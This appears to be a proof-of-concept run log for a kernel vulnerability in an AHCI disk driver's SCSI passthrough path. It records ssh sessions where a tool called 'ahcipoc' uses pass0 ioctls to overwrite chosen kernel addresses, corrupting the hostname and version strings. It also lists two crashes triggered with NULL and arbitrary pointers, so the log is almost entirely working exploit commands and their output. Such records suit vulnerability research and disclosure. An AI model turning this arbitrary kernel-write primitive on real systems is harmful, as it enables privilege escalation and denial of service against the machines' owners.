# DF-2421 — run.log (verbatim ssh session outputs, 2026-10-15, stock kernel)
# guest: ahci0.0 DISK -> da0/pass0 (scbus2), kernel 6.5-DEVELOPMENT #0

$ hostname AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; echo "before: $(hostname)"; nm /boot/kernel/kernel | grep -w hostname; cd /root && ./ahcipoc surgical ffffffff81193368 36; echo "after:  [$(hostname)]"; echo "len after: $(hostname | wc -c)"; sysctl kern.hostname
before: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ffffffff81193360 B hostname
ahcipoc: device /dev/pass0 pid 1195
surgical: zeroing 36 bytes at kernel VA 0xffffffff81193368
surgical: ioctl=0 ccb_h.status=0x1 cam_status=0x1 scsi_status=0x0
after:  [AAAAAAAA]
len after:        9
kern.hostname: AAAAAAAA
#  ^ kernel bss `hostname[]` at 0xffffffff81193360: bytes [8..43] zeroed and
#  INQUIRY structure bytes written by ahci_xpt_scsi_disk_io (ahci_cam.c:1109),
#  data_ptr was supplied raw (CAM_DIR_NONE -> cam_periph_mapmem skipped).
#  ioctl returned CAM_REQ_CMP (0x1). No crash.

$ echo "before: $(sysctl -n kern.version | sed -n 2p | cut -c1-60)"; ./ahcipoc surgical ffffffff811449a0 36; echo "after:  [$(sysctl -n kern.version | sed -n 2p | cut -c1-80)]"
before:     root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC
ahcipoc: device /dev/pass0 pid 1211
surgical: zeroing 36 bytes at kernel VA 0xffffffff811449a0
surgical: ioctl=0 ccb_h.status=0x1 cam_status=0x1 scsi_status=0x0
after:  [    r]
#  ^ kernel .data `version[]` at 0xffffffff81144960, bytes [64..99] zeroed;
#  sysctl kern.version truncated exactly at the chosen offset.

$ hostname BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB; ./ahcipoc evpd-addr ffffffff81193388 && echo "hostname now: [$(hostname)] len=$(hostname | wc -c)"
ahcipoc: device /dev/pass0 pid 1241
target kernel VA 0xffffffff81193388 (VPD page 0x80)
evpd-addr: ioctl=0 ccb_h.status=0x1 cam_status=0x1 scsi_status=0x0
hostname now: [BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB] len=      41
#  ^ EVPD page-inquiry path (ahci_cam.c:1693): hostname+40 = 0xffffffff81193388;
#  bzero(32)+bcopy(serial page) truncated the string to exactly 40 B's + NUL
#  (inquiry byte 0 = T_DIRECT = 0).

$ hostname CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC; ./ahcipoc readcap-addr ffffffff81193370 16 && echo "hostname now: [$(hostname)] len=$(hostname|wc -c)"
ahcipoc: device /dev/pass0 pid 1253
target kernel VA 0xffffffff81193370 len 16
readcap-addr: ioctl=0 ccb_h.status=0x1 cam_status=0x1 scsi_status=0x0
hostname now: [CCCCCCCCCCCCCCCC] len=      17
#  ^ READ_CAPACITY path (ahci_cam.c:1159): hostname+16 truncated to 16 C's.

# ---- panic variants (full panic text in panic-null.txt / panic-addr.txt) ----
$ ./ahcipoc inquiry-null        -> Fatal trap 12, fault VA 0x0, supervisor
                                   WRITE, Stopped at memset+0x2b
                                   (bzero(rdata,rdata_len) with data_ptr=NULL)
$ ./ahcipoc inquiry-addr fffff800deadf000
                                -> trap 0xc at memset+0x2b, panic via
                                   vm_object_hold_shared("obj != NULL")
                                   assertion while faulting the raw
                                   data_ptr 0xfffff800deadf000